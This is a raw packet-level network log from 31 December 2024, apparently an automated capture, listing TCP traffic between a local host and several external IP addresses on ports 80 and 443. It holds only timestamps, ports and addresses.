Dec 31, 2024 09:50:55.986310959 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:58.989326000 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:58.989466906 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:58.989516020 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:58.989711046 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:58.989732027 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.046363115 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.046417952 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.046489954 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.046792030 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.046807051 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.509985924 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.510142088 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.511570930 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.511586905 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.511893988 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.514107943 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.514128923 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.514225006 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.944670916 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.944781065 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.944859028 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.945106983 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.945136070 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.945152998 CET	49797	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:59.945158958 CET	443	49797	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:59.948507071 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:50:59.953468084 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:50:59.954380989 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:50:59.954580069 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:50:59.959445000 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.023108006 CET	49698	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:51:00.023473024 CET	49805	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:51:00.023535967 CET	443	49805	104.98.116.138	192.168.2.7
Dec 31, 2024 09:51:00.023622036 CET	49805	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:51:00.028048992 CET	443	49698	104.98.116.138	192.168.2.7
Dec 31, 2024 09:51:00.039438963 CET	49677	443	192.168.2.7	20.50.201.200
Dec 31, 2024 09:51:00.087219954 CET	49805	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:51:00.087233067 CET	443	49805	104.98.116.138	192.168.2.7
Dec 31, 2024 09:51:00.655157089 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655175924 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655201912 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655215025 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655226946 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655239105 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655255079 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655255079 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.655268908 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655282021 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655297995 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.655327082 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.655338049 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.660118103 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.660176039 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.660238028 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.847044945 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.847062111 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.847075939 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.847135067 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.847333908 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.847357988 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.847372055 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.847374916 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.847387075 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.847405910 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.848026991 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848048925 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848063946 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848067999 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.848076105 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848089933 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848118067 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.848136902 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.848869085 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848881006 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848896027 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848908901 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848913908 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.848922014 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.848958969 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.849750996 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.849762917 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.849776983 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.849788904 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.849795103 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.849802017 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.849814892 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.849843979 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:00.852258921 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.852271080 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:00.852310896 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.009382963 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009401083 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009423971 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009438038 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009452105 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009464979 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009469986 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.009479046 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009491920 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009505987 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009507895 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.009527922 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.009546995 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.009902000 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009915113 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009927988 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.009938955 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.009968042 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.017471075 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.017484903 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.017497063 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.017510891 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.017523050 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.017530918 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.017529964 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.017591000 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.025319099 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.025331974 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.025345087 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.025357962 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.025369883 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.025372982 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.025382996 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.025396109 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.025412083 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.025438070 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.026628971 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.026642084 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.026654005 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.026668072 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.026679993 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.026688099 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.026694059 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.026705027 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.026742935 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.033772945 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.033792973 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.033806086 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.033832073 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.033833981 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.033854008 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.033864021 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.033869982 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.033904076 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.033940077 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.033993006 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.034966946 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.034979105 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.034991980 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.035003901 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.035024881 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.035052061 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.042021036 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.042047977 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.042062998 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.042093992 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.042093992 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.042107105 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.042119980 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.042179108 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.042246103 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.042275906 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.086304903 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.125456095 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.125474930 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.125570059 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.138232946 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.138252020 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.138279915 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.138304949 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.139288902 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139342070 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.139352083 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139365911 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139378071 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139405966 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.139590025 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139604092 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139616966 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139627934 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.139672995 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.139724016 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139736891 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139755964 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139769077 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139780998 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.139782906 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.139800072 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.140119076 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140135050 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140151024 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140156031 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.140162945 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140187025 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.140641928 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140655041 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140670061 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140690088 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.140702963 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140719891 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.140803099 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140818119 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140831947 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.140841007 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.140878916 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.158811092 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.158828020 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.158850908 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.158864021 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.158878088 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.158885956 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.158919096 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.158948898 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.158981085 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.158982038 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.159054995 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.159090996 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.159100056 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.159207106 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.159248114 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.159248114 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.159257889 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.159298897 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171251059 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171269894 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171293974 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171303034 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171334028 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171334028 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171365023 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171377897 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171397924 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171422958 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171560049 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171570063 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171581984 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171591997 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171621084 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171813965 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171828032 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171842098 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171854019 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171859980 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171868086 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171880960 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.171884060 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.171910048 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.172221899 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172231913 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172247887 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172256947 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172261000 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.172297001 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.172656059 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172671080 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172683001 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172708035 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.172945023 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172954082 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.172981024 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.173003912 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.173016071 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.173028946 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.173032999 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.173042059 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.173062086 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.173259020 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.173279047 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.173299074 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.174185991 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174199104 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174210072 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174221039 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.174247026 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.174285889 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174304008 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174316883 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174328089 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174335957 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.174340963 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174366951 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.174619913 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174659014 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.174666882 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174684048 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174696922 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174710035 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.174715042 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.174741030 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.175019026 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175117970 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175128937 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175143003 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175152063 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.175156116 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175177097 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.175399065 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175410986 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175422907 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.175430059 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.175456047 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.176155090 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.176167011 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.176192045 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.176208019 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.178106070 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.178116083 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.178148985 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.220776081 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.220794916 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.220879078 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.226993084 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.227014065 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.227026939 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.227039099 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.227054119 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.227087021 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.228030920 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228096962 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228111029 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228116035 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.228122950 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228143930 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228147030 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.228158951 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228172064 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228183985 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228183985 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.228195906 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.228223085 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.228251934 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.263652086 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.263673067 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.263686895 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.263699055 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.263715029 CET	80	49804	185.215.113.16	192.168.2.7
Dec 31, 2024 09:51:01.263732910 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.263777018 CET	49804	80	192.168.2.7	185.215.113.16
Dec 31, 2024 09:51:01.264633894 CET	80	49804	185.215.113.16	192.168.2.7
